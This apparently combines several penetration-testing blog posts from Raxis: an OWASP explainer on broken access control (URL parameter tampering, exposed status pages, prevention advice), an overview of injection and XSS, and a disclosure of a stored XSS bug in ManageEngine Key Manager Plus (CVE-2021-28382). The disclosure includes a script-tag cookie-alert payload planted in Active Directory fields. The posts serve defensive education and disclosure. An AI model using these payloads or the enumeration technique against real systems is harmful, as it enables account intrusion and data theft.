website[.]com/app/acctinfo?user=karen
But what happens if she can simply change “karen” on the end of the URL to “fred”? We would get the URL below:
website[.]com/app/acctinfo?acct=fred
By itself, that is not broken access control. If the application is secure, Karen would be denied access. However, if Karen was then able to see the information in Fred’s account, it would be an example of broken access control. But why stop there? Once Karen realizes she can see Fred’s personal information, she might write a script that tries common names of other people to gather thousands of credit cards to sell on the dark web.
Another example of a broken access control is the ability to access a server status or web app information page that should not be public to all users. If an unauthenticated user can access either of the two example pages below, it would be a form of broken access control.
website[.]com/server-status
website[.]com/app/getappinfo
Why would that be important? Many attacks require multiple steps, and each step that provides information helps the hacker understand if their actions are working or not. A hacker may use a server-status page to see if their attack is successful, or they may use the getappinfo page to find out what software the server is using so they know what type of attacks to try.
How to prevent Broken Access Control
Remediating broken access control is not a one-size-fits-all concept. Just like people are all unique and beautiful in their own way, and deserve to be treated fairly, not tossed aside… err [deep breath] ahem. Really sorry. Website developers must implement trusted server-side code or APIs that do not allow attackers to modify the access control checks or metadata.
The list below is a good place to start with hardening Access Controls in your environment:
Implement deny-by-default on everything except public resources.
Minimize Cross-Origin Resource Sharing (CORS), instead implementing access control mechanisms once and reusing them throughout the application.
Enforce record ownership rather than accepting that the user can create, read, update, and/or delete any record.
Ensure file metadata and backup files are not present in web roots.
Disable web server directory listings.
Set rate limits for API and controller access to minimize the attack surface of automated attack tools.
This is the first in a series of blog articles that will provide some deeper insight into the vulnerability types that made the latest OWASP Top 10 list.
The Open Web Application Security Project (OWASP) recently released a draft of its periodic Top 10 vulnerabilities list. The open-source list is based on both raw data collected through automated testing, as well as the real experiences of cybersecurity and other IT professionals.
How Raxis uses the OWASP Top 10
The OWASP Top 10 isn’t an exhaustive accounting of all the potential vulnerabilities in applications. Instead, it’s intended as a guide to help security professionals prioritize the most common and urgent threats they or their clients are likely to face. By collecting and analyzing data over time, OWASP is a source of both intelligence and awareness for the people responsible for building secure applications.
As a penetration testing company, Raxis uses the OWASP Top 10 as a reference, ensuring that its customers are protecting against each of the most common threat categories. Of course, our testing goes well beyond the items on the list, but it is an effective starting point for security assessments.
Why injection is a major concern
In 2017, the last time the list was published, injection was the number-one concern. In 2021 this vulnerability moved down into the third position and now includes Cross-Site Scripting (XSS), which was its own category in 2017. However, that doesn’t necessarily mean it has diminished in severity; only that other vulnerabilities have increased in frequency.
How an injection attack works
The underlying cause of injection attacks is from user-supplied data that is not properly sanitized or filtered from an application. This can include various attacks such as SQL-injection, command injection, XSS, and more. While each of these attacks are different, they are all successful because of an application trusting user-supplied data, which led OWASP to combine Injection and XSS in this version of the Top 10.
Raxis is well-versed in Injection attacks and has continued to see a high presence of these vulnerabilities in 2021. In particular, we have continued to see XSS be prevalent in applications, as evidenced by the five XSS CVEs I discovered and helped remediate this year:
The best defense against an injection attack is to not trust user-supplied data. Specifically, applications should sanitize or filter all user-supplied data before processing it, reflecting it back to users, or sending it to a database. In addition to user-supplied data, applications should not trust data coming from third parties such as external APIs, Active Directory, or other external sources. Four of the above CVEs involved data coming from an external source, which demonstrates the need for applications to not trust any outside data.
I’m Matt Dunn, lead penetration tester here at Raxis. This is a summary of the second stored cross-site scripting vulnerability I discovered while testing several Zoho-owned ManageEngine products. This vulnerability exists in the Key Manager Plus Version 6000.
Summary
Recently I discovered a stored Cross-Site Scripting vulnerability in the Zoho-owned ManageEngine Key Manager Plus for Version 6000 (CVE-2021-28382). The vulnerability exists in any of a user’s details fields when they are imported from Active Directory. This can be performed in one of the name fields or the email field, and is executed when visiting the /apiclient/index.jsp#/Settings/UserManagement page. After this page loads, the user’s details are loaded with unescaped content, allowing for malicious JavaScript to be reflected back to users.
Proof of Concept
The vulnerability can be triggered by inserting html content, specifically script tags, into the first name, last name, or email field of an Active Directory user. The following was inserted as a proof of concept to reflect the user’s cookie in an alert box:
<script>alert(document.cookie)</script>
An example of this in the Last Name field of one such user can be seen here:
After that user’s details load on the UserManagement page, the HTML is then presented unescaped on the web page, which allows the script tags to be loaded as valid JavaScript. The unescaped HTML, as loaded, can be seen here:
After loading the UserManagement page, the malicious content is executed, as shown below:
Affected Versions
Raxis discovered this vulnerability on Manage Engine Key Manager Plus 6000 (6.0.0), but any version below 6001 could be vulnerable when importing users from Active Directory.